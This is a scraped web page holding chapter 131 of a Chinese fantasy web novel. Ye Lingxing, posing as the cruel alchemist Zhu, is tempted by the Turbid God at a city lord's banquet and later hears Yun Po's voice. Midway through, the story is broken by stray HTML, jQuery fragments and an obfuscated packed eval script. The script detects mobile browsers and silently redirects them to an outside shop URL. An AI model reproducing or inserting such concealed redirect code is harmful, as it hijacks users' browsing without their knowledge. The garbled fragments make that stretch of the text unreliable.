131. 浊神蛊惑

作品:《我怎么会是仙界刺头?

    临泉城内的不少丹修发觉,祝家那位性子恶劣又瞧不起所有人的炼丹师,性格大变。


    以往总爱去地下矿场寻乐子、到处跟人攀比,要么就爱捣鼓些上不得台面的东西。


    最近几日倒是难得见到了。


    而当王城传来“将要举办七城炼丹交流盛会”的消息后,大家都顾不上讨论一个区区的祝家丹修,全都卯足了劲想要知道此次盛大的炼丹大会要如何能够参加。


    消息传出来的当天,城主府广发请帖,邀请城内叫得上名字的所有炼丹师赴宴,共商大事。


    满城轰动。


    祝家。


    侍从自门房那里拿到请帖,就着急忙慌地跑进公子的院子,没看到人只看见一个膀大腰圆的男人在耍一对千斤坠。


    察觉到有人闯进院子,男人铜铃般大的眼睛目露凶光充满杀意地射了过来,在看清是同伙后才收敛。


    “公子人呢?有大事情要发生了,城主府递来的帖子,今晚就要赴宴!”


    男人赶紧丢下千斤坠,把帖子拿过来看了遍,眉头紧锁。


    “在里屋,先进去。”


    屋内,一道身影正坐在那里,一只手按在书页上另一只手则是拿着灵植仔细分辨,面前的桌面上摆放着十几个玉盒,里面全是各种各样的灵植。


    明亮的光与身后落下的阴影交织,将男子的脸藏在忽明忽暗的交界处,那张让人看之惊艳又觉得圣洁的脸庞,增添了几分晦涩。


    当他抬起脸将之全部暴露在光亮中,那点细微的晦涩立刻荡然无存,只是旁人自作主张强加上的罢了。


    “公子……”侍从说习惯了,自己呸了几声,“叶道友你看这如何是好!”


    那张在阳光下完全露出来的面容,不是叶令行又是谁。


    至于他是怎么占据了“祝公子”身份的,想必已经显而易见了。


    祝公子把他从祭祀台上索要带走,就是为了拿他当药奴,听信了妖魔一说,此人当机立断想到了自己一直在研究的丹药,为什么会失败?一定是缺少了万泽界所没有的东西。


    妖魔的血肉,定会让他成功!


    可惜了了,祝公子还未大展拳脚让整个丹修界为之震惊,就差点先一步去极乐世界见丹神了。


    叶令行将他陷入无尽的长眠后,将整个炼丹室尽收眼底。地上堆放着各类灵植,妖兽和人的皮骨,丹炉还残留着余温,里面盛放着杂糅了血肉和药液的东西。


    隐蔽的隔间内,还有二十多道微弱的气息,全部是祝公子的药奴,根据他们后来的说法,此人每日至少会杀五六个药奴入药炼制,还会再挑选几个试药。


    死在他手上的人不知凡几,狭小的隔间在半个月前还有上百人,如今就只剩下他们二十三人。


    祝公子沉睡了,叶令行堂而皇之地顶替了他的位置。这里只是祝家的一处别院,原主与家族关系淡漠,性子也令人厌恶,倒是省了他许多事,不用将整个祝家都替换掉。


    叶令行救出来的药奴,其中不少都选择了离开,不管多艰难他们死都不想再回去地下。只剩下四五个,想要帮他的忙,虽然他们也不知道他想干什么。


    “炼丹大会。”叶令行早就听见了他们说话的声音,将帖子从头到尾看了一遍,“七城都会去吗?”


    他点了点这两个字,心里清楚只要云破他们没有出现意外,一定也会出现在这里。


    -


    夜晚,城主府内。


    当叶令行带着两人前来赴宴,宴会上早已来了很多的丹修,大家都三五成群地站在一起彼此交谈着,不嘈杂却奢靡华贵的宴席。


    他甫一进来,比宴上的华灯还要闪耀夺目,席间骤然安静了片刻,却又盖因祝公子的声名在外一时间也无人前来寒暄,只跟身旁的人嘀嘀咕咕。


    “都说他出门从不露真容,今日莫非也是如此?这副皮囊可真好看,他的易容丹竟这么厉害我都心动了!”


    “瞎说什么呢,前来面见城主岂会是易容,这绝对是他的真容。”


    “真的假的?谁能想到祝公子还有这筹码捏在手中……真没想到。”


    听着席间议论纷纷的言语,就知道叶令行救出来的几位修士已经把流言散布得满城皆知。众人只惊讶他的容貌,没人抓着他样貌变了这一点说事。


    叶令行没有给别人上来交谈的机会,一来就独自坐在席位上,只跟带来的两人说话。


    自成一派空间,让人望而却步。


    不过他也没有清静多久,很快一位城主身边的侍女突然快步而来,低声邀他去后殿一叙,说是城主有要事相商。


    他冲着身旁陡然警觉的两人摆了摆手,起身跟着侍女离开。


    进进出出的修士很多,哪怕有人看见了他往大殿后过去,也没人当回事,略过一眼便不在意了。


    “就是这里了,祝公子请。”侍女恭敬地停步在殿外,只让他自行进去。


    叶令行推开殿门,轻步走入。


    带起了一阵微风,殿内数十根烛火同时摇曳,晃动得映在屏风上的身影也在荡漾。


    声音从屏风后传来,映出来的身影也随之细微地变动。


    “祝公子,许久不见我要的丹药炼好了吗?”


    “什么丹药我不知道。”叶令行眼神冷了下来。


    屏风被一只纤细的手挪开,露出其后拥有姣好容颜的女子,她见了他便笑靥如花,一颦一笑皆具风情魅惑。


    “夜神尊上还是这般冷淡,我可是为了迎接你准备了两份大礼,你不想看看吗?”


    叶令行神色冷漠,看她的眼神冰冷的如同在看一团死物。虽然一堆浊气化成的人形,的确跟死物没什么两样就是了。


    浊神本源,同时也是临泉城的城主笑容里满是志得意满,仿佛自己要说的这两份大礼绝对会合他的心意。


    “第一嘛自然是与日神有关,我可是为了夜神尊上特意将她的分神拉进了这里,她在明我们在暗,这可是将她彻底除掉的最好机会。


    夜神大人,其实我一直很想与你合作的,以前的事彼此各有苦衷我知道,也早已放下,毕竟真正消灭我的人是云破,你我都不过是她的垫脚石罢了。


    俗话说得好,敌人的敌人便是朋友,你想做的事我十分乐意效劳!”


    浊神本源嘴上说得好像一切尽在掌握中,实际上心里也在暗暗打鼓,毕竟日神并不是它拉进来的只是进入万泽界后被它察觉到了踪迹。在平芜界的新仇旧恨加在一起,恨得它牙痒痒。


    它认为既然云破不愿意跟自己合作,那就别怪它倒戈他处,先把她彻底消灭了再说。


    刚好它又发现了夜神的踪迹,想必也是感应到了空间乱流的混沌之力,一路追踪过来的。如此巧合,不利用一下岂不可惜。


    叶令行低垂下的眼睛转动了几下,明白了浊神所想。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222446|194757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    乱流中重创它的那股力量被它错认为了出自云破之手,他们二人本源相同会被认错也是正常的,再加上浊神怕云破,怕得恨不得躲着走,也就是在分神面前它敢跳出来蛊惑。


    “你知道她在哪?”他没说答应也没说不答应,反而想从它口中套取更多的消息。


    浊神:“自然。”


    它也不算太蠢,没有得到他肯定的答复前不会将所有事情和盘托出的,它继续蛊惑。


    “你知道的,封锁空间隔绝气息是我最擅长的神技,这里可是我精心挑选出来打造而成的,没有我你找不到她的。”


    糟糕!


    话一落下浊神就后悔了,夜神与日神脾性不同,他向来吃软不吃硬若是有人用胁迫的语气说话,那么他绝对不会容忍到第二句话说出的那刻。


    果不其然在它慌乱的刹那间,叶令行就出手了,他凭空抓拽了一把,此处的所有空气与空间成了最为锋利的刀刃,贯穿了面前这具容器躯壳。


    浊神反应得够快也时刻在防备着他,在他出手之际飞快地金蝉脱壳,丢弃了临泉城城主这个傀儡,悬之又悬地逃走了,回归到王城内的身躯里。


    金碧辉煌的宫殿,恢宏壮阔的王座之上,年轻俊美的王睁开了双眼。


    “咳咳咳!”


    手握成拳抵在唇上,他急促又惊慌地咳了好几声,才把心血翻涌几欲喷吐而出的念头压了下去。原本红润的脸也变得煞白一片,恼怒和恨意压抑不住地渗透过眼睛,流露出来。


    日神!夜神!两个混蛋!如出一辙的两个混蛋,无论再过多少万年两个让人痛恨厌恶的家伙,性子也不会变的!


    就让他们尽情地狗咬狗去吧,它再去找他们合作它就是蠢货!杀了他们,一定要把他们两个通通杀了!


    兀得,一个宫殿外的侍卫从外走了进来,只是他一进来立刻就恐惧地颤抖着,浑身上下都在叫嚣着“危险”“濒死”。侍卫僵硬着身体,扑通一下跪倒在地。


    “王、王上!请宽恕小人的罪过!”


    王座上,年轻的王身周萦绕着冰冷萧然的杀意,侍卫没想到居然撞见王在生气,心知自己恐怕是凶多吉少了。


    “何事?”


    谁知王并没有处死他,反而先问了一声。


    侍卫身上的汗涔涔往外冒,不敢抬头赶紧回答:“是圣女!圣女大人前来觐见了!”


    -


    临泉城。


    叶令行没能碾碎它,手指松开此处又恢复了正常,只是眼前的女子没有了神志只剩下一具空荡荡的躯壳,浊神本源逃走后她就无力地摔在了地上。


    被浊气蚕食殆尽,不剩下一丝一毫原主气息的傀儡,被中断了联系后,让他能顺藤摸瓜的作用都没有。


    他没有分出半点眼神,冷淡转身准备离开这里回到宴席上去。


    突然一道声音飘荡在空旷的殿内。


    “喂,喂喂,有人吗?有人不,有没有人啊能听到我说话吗?别躲着不出声,我感觉到了熟悉的气息,有人在不在呀。”


    清脆悦耳带着轻快愉悦的声音,叶令行攸然睁大了眼睛,立即回身快步走到傀儡躯壳的身旁。


    “云破?”


    那边顿了数息,似乎隔着很远的距离有些延迟,很快又有声音传了过来。


    “令行!果然是你,我是云破我是云破,听到了吗?你在哪里呀,有跟苒苒在一起吗?”